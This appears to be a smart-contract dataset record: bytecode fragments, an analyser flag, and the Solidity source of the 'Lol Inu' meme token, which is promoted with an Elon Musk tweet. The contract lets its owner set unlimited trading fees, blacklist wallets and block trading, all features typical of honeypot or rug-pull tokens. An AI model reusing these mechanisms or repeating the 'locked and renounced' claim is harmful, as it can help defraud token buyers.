ffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610ae557600080fd5b6102c65a03f11515610af657600080fd5b505050604051805190509050610b4f600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166117f69092919063ffffffff16565b5050565b6000600154905090565b6000600460009054906101000a900460ff16151515610b7b57600080fd5b60011515600860149054906101000a900460ff161515141515610b9d57600080fd5b610ba88484846118c9565b90509392505050565b601281565b6000806000801515600860149054906101000a900460ff161515141515610bdc57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3857600080fd5b600092505b8351831015610d5457600174010000000000000000000000000000000000000000038484815181101515610c6d57fe5b90602001906020020151169150740100000000000000000000000000000000000000008484815181101515610c9e57fe5b90602001906020020151811515610cb157fe5b049050806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38280600101935050610c3d565b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610db657600080fd5b600460009054906101000a900460ff161515610dd157600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60001515600860149054906101000a900460ff161515141515610e3c57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9857600080fd5b6001600860146101000a81548160ff0219169083151502179055507f041593e39a5b1e911921c0936cadfcc0aee6e00ae3f6992160e5203cc302430e426040518082815260200191505060405180910390a1565b600460009054906101000a900460ff1681565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611010576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a4565b6110238382611c8390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123457600080fd5b600460009054906101000a900460ff1615151561125057600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f595550000000000000000000000000000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900460ff1615151561133c57600080fd5b60011515600860149054906101000a900460ff16151514151561135e57600080fd5b6113688383611c9c565b905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860149054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114ac82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ebb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116fa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561173657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156118a157600080fd5b6102c65a03f115156118b257600080fd5b5050506040518051905015156118c457fe5b505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561190657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561195357600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119de57600080fd5b611a2f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ebb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9382600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8390919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611c9157fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611cd957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d2657600080fd5b611d77826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e0a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ebb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284019050838110151515611ecf57fe5b8091505092915050565b6000808284811515611ee757fe5b0490508091505092915050565b6000806000841415611f095760009150611f28565b8284029050828482811515611f1a57fe5b04141515611f2457fe5b8091505b50929150505600a165627a7a72305820a2d44b87a2ba9fb27fa617c1be802cde7782326763f998cae3a24a0dcb0feaa80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,284 |
0xb5596dfdba4a0e5c566d204dfb37b5a990b21f14
|
/**
https://t.me/lolinumusk
ELON TWEET PLAY
Locked and Renounce
https://twitter.com/elonmusk/status/1511011921495011328
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract musktweetplay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lol Inu";
string private constant _symbol = "Lol Inu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xb9CC01355CdFdB4C52209539925FB11360db2C68);
address payable private _marketingAddress = payable(0xb9CC01355CdFdB4C52209539925FB11360db2C68);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610522578063dd62ed3e14610542578063ea1644d514610588578063f2fde38b146105a857600080fd5b8063a2a957bb1461049d578063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104475780638f9a55c01461046757806395d89b41146101fe57806398a5c3151461047d57600080fd5b80637d1db4a5146103e65780637f2feddc146103fc5780638da5cb5b1461042957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192c565b6105c8565b005b34801561020a57600080fd5b5060408051808201825260078152664c6f6c20496e7560c81b6020820152905161023491906119f1565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a46565b610667565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50670de0b6b3a76400005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611a72565b61067e565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060155461028d906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611ab3565b6106e7565b34801561036857600080fd5b506101fc610377366004611ae0565b610732565b34801561038857600080fd5b506101fc61077a565b34801561039d57600080fd5b506102bc6103ac366004611ab3565b6107c5565b3480156103bd57600080fd5b506101fc6107e7565b3480156103d257600080fd5b506101fc6103e1366004611afb565b61085b565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506102bc610417366004611ab3565b60116020526000908152604090205481565b34801561043557600080fd5b506000546001600160a01b031661028d565b34801561045357600080fd5b506101fc610462366004611ae0565b61088a565b34801561047357600080fd5b506102bc60175481565b34801561048957600080fd5b506101fc610498366004611afb565b6108d2565b3480156104a957600080fd5b506101fc6104b8366004611b14565b610901565b3480156104c957600080fd5b5061025d6104d8366004611a46565b61093f565b3480156104e957600080fd5b5061025d6104f8366004611ab3565b60106020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc61094c565b34801561052e57600080fd5b506101fc61053d366004611b46565b6109a0565b34801561054e57600080fd5b506102bc61055d366004611bca565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059457600080fd5b506101fc6105a3366004611afb565b610a41565b3480156105b457600080fd5b506101fc6105c3366004611ab3565b610a70565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016105f290611c03565b60405180910390fd5b60005b81518110156106635760016010600084848151811061061f5761061f611c38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065b81611c64565b9150506105fe565b5050565b6000610674338484610b5a565b5060015b92915050565b600061068b848484610c7e565b6106dd84336106d885604051806060016040528060288152602001611d7e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ba565b610b5a565b5060019392505050565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075c5760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107af57506013546001600160a01b0316336001600160a01b0316145b6107b857600080fd5b476107c2816111f4565b50565b6001600160a01b0381166000908152600260205260408120546106789061122e565b6000546001600160a01b031633146108115760405162461bcd60e51b81526004016105f290611c03565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016105f290611c03565b601655565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016105f290611c03565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b81526004016105f290611c03565b601855565b6000546001600160a01b0316331461092b5760405162461bcd60e51b81526004016105f290611c03565b600893909355600a91909155600955600b55565b6000610674338484610c7e565b6012546001600160a01b0316336001600160a01b0316148061098157506013546001600160a01b0316336001600160a01b0316145b61098a57600080fd5b6000610995306107c5565b90506107c2816112b2565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f290611c03565b60005b82811015610a3b5781600560008686858181106109ec576109ec611c38565b9050602002016020810190610a019190611ab3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3381611c64565b9150506109cd565b50505050565b6000546001600160a01b03163314610a6b5760405162461bcd60e51b81526004016105f290611c03565b601755565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016105f290611c03565b6001600160a01b038116610aff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f2565b6001600160a01b038216610c1d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f2565b6001600160a01b038216610d445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f2565b60008111610da65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f2565b6000546001600160a01b03848116911614801590610dd257506000546001600160a01b03838116911614155b156110b357601554600160a01b900460ff16610e6b576000546001600160a01b03848116911614610e6b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f2565b601654811115610ebd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f2565b6001600160a01